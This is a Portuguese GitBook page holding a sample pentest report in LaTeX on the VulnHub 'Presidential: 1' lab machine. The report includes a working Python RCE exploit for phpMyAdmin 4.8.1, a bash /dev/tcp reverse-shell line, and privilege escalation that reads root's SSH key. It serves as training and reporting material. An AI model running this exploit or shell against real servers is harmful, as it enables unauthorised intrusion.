> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# Relatório 1 - Write-up em LaTeX do Presidential

{% hint style="warning" %}
Aqui está um exemplo de um relatório técnico profissional, simulando que eu trabalho para a Orange Cyberdefense, referente a uma auditoria ambiental e empresarial "[Presidencial](/pt-br/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". Para esta análise, usei uma máquina VulnHub pré-configurada com vulnerabilidades web e riscos de escalonamento de privilégios.

O relatório foi escrito usando o [LaTeX](https://www.overleaf.com/) software, reconhecido por sua complexidade técnica, mas também por sua grande utilidade e sua capacidade de produzir relatórios de qualidade profissional com grande liberdade de personalização. Abaixo você encontrará o código LaTeX e o arquivo PDF ilustrando este exemplo.
{% endhint %}

{% file src="/files/ccd9b58c26cd9dd3f8ada0bb519ef17f5cd091fc" %}

<div data-full-width="false"><figure><img src="/files/9a2b03d0a3e1f29a754f59e1382f204510497ee7" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>Configurando o ambiente para gerar arquivos PDF a partir do LaTeX:</summary>

1. Verifique o aplicativo padrão para arquivos PDF:

```bash
xdg-mime query default application/pdf
```

2. Defina o aplicativo padrão como Zathura para arquivos PDF:

```bash
xdg-mime default zathura.desktop application/pdf
```

3. Crie o arquivo .tex para o seu documento:

```bash
touch presidential.tex
```

4. Compile o documento:

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="/files/3683179dd13b571df03b3528910a8457997bc1ad" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% Pacotes
/usepackage[utf8]{inputenc} % Codifique seu texto em UTF-8
/usepackage[english]{babel} % Idioma inglês
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Layout da página
/usepackage{graphicx} % Para incluir imagens
/usepackage[table,xcdraw]{xcolor} % Cores
/usepackage{tikz,lipsum,lmodern} % Desenhos
/usepackage[most]{tcolorbox} % Caixas personalizadas
/usepackage{fancyhdr} % Cabeçalhos e rodapés
/usepackage[hidelinks]{hyperref} % Hiperlinks
/usepackage{setspace} % Espaçamento entre linhas
/usepackage{listings} % Exibição de código-fonte
/setstretch{1.2} % Espaçamento entre linhas
/usepackage{parskip} % Espaçamento entre parágrafos
/setlength{/parindent}{0pt} % Sem recuo de parágrafo
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % Espaçamento entre parágrafos
/setlength{/parfillskip}{/parindent plus 1fill} % Justificação do texto
/usepackage[figurename=Figure]{caption} % Rótulo da figura
/usepackage{ragged2e} % Justificação do texto

% Variáveis
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Presidencial: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{21 de fevereiro de 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% Cores
/definecolor{bluePortada}{HTML}{146c8a}

% Personalização do título
/addto/captionsenglish{/renewcommand{/contentsname}{Conteúdo}}

% Cabeçalhos e rodapés
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % Logotipo da empresa à esquerda do cabeçalho
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % Logotipo da plataforma à direita do cabeçalho
/renewcommand{/headrulewidth}{3pt} % Largura da linha do cabeçalho
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % Cor da linha do cabeçalho

% Configurando legendas de código-fonte
/renewcommand{/lstlistingname}{Código}

% Estilos de código-fonte
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  quebrável,
  aprimorado,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=Definição,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % Cor do comentário
    keywordstyle=/color{magenta}, % Cor da palavra-chave
    numberstyle=/tiny/color{codegray}, % Estilo do número da linha
    stringstyle=/color{codepurple}, % Cor da string
    basicstyle=/ttfamily/footnotesize, % Estilo base do texto
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % Configuração global do estilo do código

% Início do documento
/begin{document}
/cfoot{/thepage} % Rodapé com número da página
  /begin{titlepage} % Página de título
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % Logotipo da página de título
{/scshape/LARGE /textbf{Relatório Técnico}/par/vspace{0.4cm}} % Título do relatório
{/Huge/textcolor{bluePortada}{/textbf{Máquina /machineName}}} % Nome da máquina
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % Imagem da máquina
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Caixa de privacidade
    /centering
Este documento é confidencial e contém informações sensíveis. // Ele não deve ser impresso nem compartilhado com terceiros.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % Data do relatório
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% Início do sumário
/clearpage
/tableofcontents % Sumário
/clearpage

/section{Contexto}
Este documento apresenta os resultados obtidos durante a fase de auditoria realizada na máquina /textbf{/machineName}, listando todos os vetores de ataque encontrados, bem como a exploração realizada para cada um deles.

Esta máquina foi baixada da plataforma /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}}, uma plataforma de treinamento e prática para pessoas interessadas em segurança da informação e hacking ético. Abaixo está fornecido o link de download desta máquina:

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL de destino,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{Página inicial do serviço web da máquina}
/end{figure}
/vspace{1cm}
/section {Objetivos}
Os objetivos desta auditoria de segurança são identificar possíveis vulnerabilidades e fragilidades na máquina /textbf{/color{bluePortada}/machineName}, com o objetivo de garantir a integridade e a confidencialidade das informações armazenadas nela.

Com isso em mente, foi realizada uma análise exaustiva de todos os serviços expostos detectados neste servidor, coletando informações detalhadas sobre aqueles que apresentam um risco potencial do ponto de vista de segurança.
/clearpage

/subsection{Escopo}

Os objetivos a serem alcançados para esta auditoria são apresentados abaixo:

/begin{itemize}
/item Identificar portas e serviços vulneráveis.
/item Explorar as vulnerabilidades identificadas.
/item Obter acesso ao servidor explorando os serviços vulneráveis identificados.
/item Listar possíveis caminhos para escalonamento de privilégios no sistema depois que ele tiver sido comprometido.
/end{itemize}

/subsection{Restrições e Limitações}

Durante o processo de auditoria, é estritamente proibido realizar qualquer uma das seguintes atividades:

/begin{itemize}
/item Realizar tarefas que possam resultar em /textbf{negação de serviço} ou afetar a disponibilidade dos serviços expostos.
/item Excluir arquivos residentes no servidor depois que ele tiver sido comprometido.
/end{itemize}

/subsection{Resumo geral}

Esta auditoria revelou inúmeras vulnerabilidades de segurança significativas que colocam em risco a integridade e a confidencialidade das informações hospedadas no servidor. Desde a exposição de arquivos de backup sensíveis até a exploração de vulnerabilidades críticas no phpMyAdmin, constatou-se que o servidor é vulnerável a vários ataques.

A identificação de subdomínios, a enumeração de serviços expostos e a exploração de painéis de autenticação fracos foram pontos de entrada importantes para os ataques conduzidos durante esta auditoria.

É essencial tomar medidas imediatas para corrigir essas vulnerabilidades e mitigar os riscos de segurança. Recomenda-se fortemente atualizar o phpMyAdmin para a versão mais recente e implementar medidas de segurança adicionais, como restringir o acesso a arquivos sensíveis e implementar filtros de entrada apropriados em aplicações web expostas.

Em resumo, esta auditoria destaca a importância de manter uma postura proativa de segurança de sistemas, realizando auditorias periódicas, aplicando correções de segurança e seguindo as melhores práticas de cibersegurança para proteger os ativos digitais de uma organização.

/clearpage
/section{Reconhecimento}
/subsection{Enumeração dos serviços expostos}
Abaixo você encontrará evidências das portas e serviços identificados durante o reconhecimento realizado com a ferramenta /textbf{nmap}:
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{Enumeração de portas com nmap}
/end{figure}

/vspace{0.3cm}
Neste caso, duas portas ativas foram identificadas usando o protocolo TCP:

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {Porta 80};
/node (port2) [below right of=center, node distance=3cm] {Porta 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

Da mesma forma, nenhuma porta exposta por meio de outros protocolos foi encontrada, portanto a avaliação das portas identificadas na primeira varredura é priorizada.

/clearpage
/subsection{Enumeração de servidores web}

Abaixo estão os resultados obtidos com a ferramenta /textbf{WhatWeb}, uma ferramenta de reconhecimento web usada para identificar tecnologias web específicas utilizadas em um site, após realizar o reconhecimento do serviço HTTP em execução na porta 80.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{Enumeração do serviço HTTP na porta 80}
/end{figure}

Os resultados obtidos permitem identificar as versões de algumas das tecnologias existentes:

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{Tecnologia} & /textbf{Versão} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

Entre as informações fornecidas, também é possível identificar 2 endereços de e-mail, que poderiam ser usados em ataques de /textbf{phishing}:

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{phishing} é um tipo de ataque de computador usado para enganar indivíduos a fim de obter informações confidenciais, como senhas, dados bancários ou informações de cartão de crédito. O ataque é realizado pelo envio de e-mails ou mensagens de texto fraudulentas que parecem legítimas e pedem ao destinatário que forneça informações pessoais e confidenciais.

Além disso, também foi possível identificar a versão do /textbf{CentOS} que está ativa graças a um reconhecimento exaustivo realizado no serviço web com a ferramenta /textbf{wig}.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{Enumeração do serviço HTTP na porta 80}
/end{figure}
/clearpage

/subsection{Enumeração de subdomínios}
Depois que o domínio '/textbf{votenow.local}' foi identificado por meio dos e-mails, foi realizado um ataque de força bruta no domínio principal com o objetivo de identificar subdomínios válidos.

Após concluir o ataque de força bruta, estes são os resultados obtidos:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Subdomínios identificados com Gobuster}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
O subdomínio '/textbf{datasafe.votenow.local}' foi identificado como um subdomínio válido. Esse subdomínio desempenhou um papel crucial na auditoria, pois foi por meio dele que o acesso ao sistema foi obtido explorando uma vulnerabilidade presente no /textbf{phpMyAdmin}.

Observe que, para que esses domínios e subdomínios fossem acessíveis, foi necessário adicionar o seguinte conteúdo ao arquivo '/textbf{/etc/hosts}':

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{Conteúdo do arquivo /etc/hosts}
/end{figure}
/vspace{0.3cm}
Isso se deve à aplicação de '/textbf{hospedagem virtual}', uma técnica usada em servidores web para hospedar vários sites em uma única máquina física. O arquivo '/textbf{/etc/hosts}' é usado para associar o nome de domínio de cada site ao endereço IP do servidor.

Na ausência dessa associação, o servidor web não conseguirá determinar o site correto a ser servido, resultando em um erro ou na exibição de um site incorreto.
/clearpage
/subsection{Enumeração de painéis de autenticação}
Depois que o subdomínio '/textbf{datasafe.votenow.local}' foi descoberto, como mostrado na imagem /ref{fig:identifiedSubdomains} na página /pageref{fig:identifiedSubdomains}, foi encontrado o seguinte painel de autenticação do /textbf{phpMyAdmin}:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{Painel de autenticação do phpMyAdmin}
/label{fig:PhpMyAdmin}
/end{figure}

/section{Identificação e Exploração de Vulnerabilidades}
/subsection{Exposição de um arquivo de backup}

Durante uma fase de reconhecimento com a ferramenta /textbf{gobuster}, uma ferramenta de linha de comando de código aberto usada para procurar e enumerar recursos web em servidores e sites, foi identificado no servidor um arquivo de backup exposto:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{Arquivo de backup exposto no servidor}
/end{figure}

/clearpage

Esse arquivo foi carregado para verificar se continha informações sensíveis que pudessem representar um risco de segurança. Nesse ponto, foi determinado que o arquivo continha as seguintes informações privilegiadas:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{Conteúdo do arquivo de backup de credenciais}
/end{figure}

Esses identificadores correspondem às credenciais de acesso ao banco de dados, o que permitiu, devido à reutilização de nome de usuário e senha, acessar o /textbf{phpMyAdmin} conforme representado na imagem /ref{fig:phpMyAdmin} na página /pageref{fig:phpMyAdmin}.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{Conexão com a interface de controle do phpMyAdmin}
/end{figure}

/clearpage
/subsection{Exploração do phpMyAdmin}
Depois de fazer login no /textbf{phpMyAdmin}, foi possível identificar a versão atualmente em uso:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {Versão usada do phpMyAdmin}
/end{figure}

/vspace{0.3cm}
Essa versão corresponde a uma /textbf{versão antiga} do phpMyAdmin, expondo assim várias /textbf{vulnerabilidades críticas} identificadas:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {Vulnerabilidades da versão do phpMyAdmin usada}
/end{figure}


/clearpage
Entre elas, uma pode permitir que um atacante mal-intencionado /textbf{execute código remotamente} no servidor.

A seguir, está o script em Python3 que foi usado para executar comandos remotos no servidor:

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=Exploit para a versão vulnerável do phpMyAdmin]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
Depois que a execução e a injeção de um comando que permite a entrada no sistema foram realizadas, o acesso ao servidor foi obtido:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {Obtenção de acesso ao servidor por meio da exploração do phpMyAdmin}
/end{figure}

Neste caso, um comando é executado via '/textbf{curl}', interpretando um script Bash que contém o seguinte conteúdo:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=Script Bash responsável por estabelecer a conexão]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

Esse script é hospedado no servidor do atacante, evitando assim deixar arquivos residuais no servidor de destino. Depois que o comando é executado, o atacante ganha acesso ao servidor, tendo controle da máquina neste caso, como usuário '/textbf{apache}'.

Como pode ser visto no script, essencialmente o que está acontecendo é que o script explora uma vulnerabilidade /textbf{LFI} presente nesta versão do phpMyAdmin para obter a execução remota de comandos:

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=Trecho de código relacionado à exploração de LFI]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (Local File Inclusion) é uma vulnerabilidade de segurança em aplicações web que permite a um atacante acessar arquivos locais no servidor incluindo arquivos locais em uma página da web.
/end{definicion}
/clearpage

Por meio do LFI, obtemos informações sobre um recurso PHP que armazena sessões, representando informações relacionadas às diferentes sessões ativas do lado dos usuários.

Ao explorar essa leitura e a própria sessão do usuário, usamos uma /textbf{consulta SQL} para inserir uma consulta contendo código PHP, visível pelos arquivos de sessão do usuário via LFI. Isso leva, portanto, à execução remota de comandos, porque o código PHP não é interpretado pelo servidor.

/section{Escalonamento de Privilégios}
Depois que todo o sistema é comprometido, o objetivo principal passa a ser obter os maiores privilégios possíveis no servidor. Com o objetivo de aumentar nossas permissões e obter maior controle e acesso a todos os serviços expostos.
/subsection{Migração para o usuário Administrador}
No servidor, há um usuário Administrador que parece bem configurado porque temos /textbf{acesso restrito} a partir do usuário apache.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Acesso negado ao diretório inicial do Admin}
/end{figure}

No entanto, no banco de dados comprometido anteriormente, aparece uma senha com hash com o mesmo nome de usuário desse usuário. Reutilizar senhas para um usuário é algo crítico e, neste caso, isso resultaria na migração direta do usuário.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {Senha com hash armazenada no banco de dados do usuário admin}
/end{figure}
/clearpage
/subsection{Quebra da senha com hash exposta do usuário admin}
Como a senha está com hash, vamos usar a ferramenta '/textbf{john}' para quebrar o hash da senha de admin, a fim de decifrá-la e vê-la em texto simples. Neste caso, foi usado um dicionário com mais de dez milhões de combinações diferentes e, como a senha não é muito complexa, a ferramenta levou alguns minutos para quebrá-la e expô-la.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {Senha em texto simples decifrada do usuário admin}
/end{figure}
/vspace{0.3cm}
/newline A migração para o usuário admin foi possível devido à /textbf{reutilização da mesma senha} para o usuário admin tanto no banco de dados quanto no usuário do sistema. Isso é uma má prática e recomenda-se ter uma senha diferente para cada serviço distinto, a fim de evitar problemas críticos como neste caso.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {Acesso ao diretório do usuário privilegiado admin}
/end{figure}
/clearpage
/subsection{Vulnerabilidade de capabilities de permissão expondo chave SSH}
/vspace{0.3cm}
/begin{definicion}
Capabilities no Linux são um mecanismo de segurança que concede privilégios específicos aos programas, permitindo operações restritas sem precisar conceder acesso root الكامل.
/end{definicion}
Neste caso, foi encontrada uma permissão de capability que permitia, com a ferramenta tarS, visualizar todos os arquivos no sistema sem nenhuma regra ou bloqueio, já que eram executados a partir do usuário root. Explorando essa permissão, a /textbf{chave privada SSH} do usuário root foi listada com o seguinte comando:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {Chave privada SSH do usuário root}
/end{figure}
/subsection{Acesso root ao sistema}
Por fim, o acesso à máquina com privilégios de root foi obtido. Há uma necessidade urgente de remover a capability da ferramenta tarS e encontrar uma alternativa que não permita esse escalonamento de privilégios.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {Obtenção da flag do usuário root}
/end{figure}
/clearpage
/section{Contramedidas e Melhores Práticas}

A fim de evitar possíveis explorações indesejadas no servidor exposto, as melhores práticas a seguir para as diversas vulnerabilidades descobertas estão listadas abaixo.

/subsection{Vulnerabilidade do phpMyAdmin 4.8.1}
O phpMyAdmin é uma ferramenta popular para gerenciar bancos de dados MySQL por meio de uma interface web. No entanto, a versão 4.8.1 do phpMyAdmin possui vulnerabilidades conhecidas que podem permitir que um atacante execute código arbitrário no servidor web onde ela está hospedada.

Para corrigir essa vulnerabilidade, é necessário /textbf{atualizar} para a versão mais recente do phpMyAdmin (atualmente a versão 5.2.1). Se por algum motivo não for possível atualizar para a versão mais recente, há algumas medidas que você pode adotar para mitigar o risco de exploração:
/begin{itemize}
/item Corrigir o código do script '/textbf{index.php}' para que a variável '/textbf{target}' fornecida pelo usuário seja corretamente controlada.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {Parâmetro-alvo vulnerável}
/end{figure}

/begin{itemize}
/item Em vez de permitir que o usuário especifique qualquer arquivo para incluir, defina uma lista de arquivos permitidos e verifique se o valor passado ao parâmetro '/textbf{target}' está na lista antes de incluir o arquivo.
/end{itemize}

/subsection{Escalada de privilégios por capabilities}
Primeiro, elimine a capacidade da ferramenta tarS. Para corrigir e verificar se um serviço ou ferramenta é vulnerável a essa escalada de privilégios, você pode visitar o seguinte site, que contém um mecanismo de busca com todas as possíveis vulnerabilidades sobre este assunto:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL de destino,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{Conclusões}
A auditoria de segurança realizada na máquina /textbf{Presidential: 1} revelou uma série de vulnerabilidades críticas que colocam em risco a integridade e a confidencialidade das informações hospedadas no servidor. Desde a divulgação de arquivos sensíveis até a exploração de vulnerabilidades no phpMyAdmin, ficou evidenciada a importância de manter todos os componentes do sistema atualizados e seguir boas práticas de segurança.

A exploração bem-sucedida da vulnerabilidade no phpMyAdmin permitiu que os invasores acessassem o servidor e elevassem seus privilégios ao usuário administrador, comprometendo assim todo o sistema. Isso destaca a importância de implementar medidas de segurança proativas, como atualizar o software regularmente, fazer um gerenciamento adequado de senhas e monitorar continuamente o servidor.

Para se proteger contra ataques futuros, é fortemente recomendável implementar as contramedidas mencionadas anteriormente e seguir as melhores práticas de cibersegurança. A segurança deve ser uma preocupação constante e prioritária para garantir a proteção dos ativos digitais e a continuidade dos negócios.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
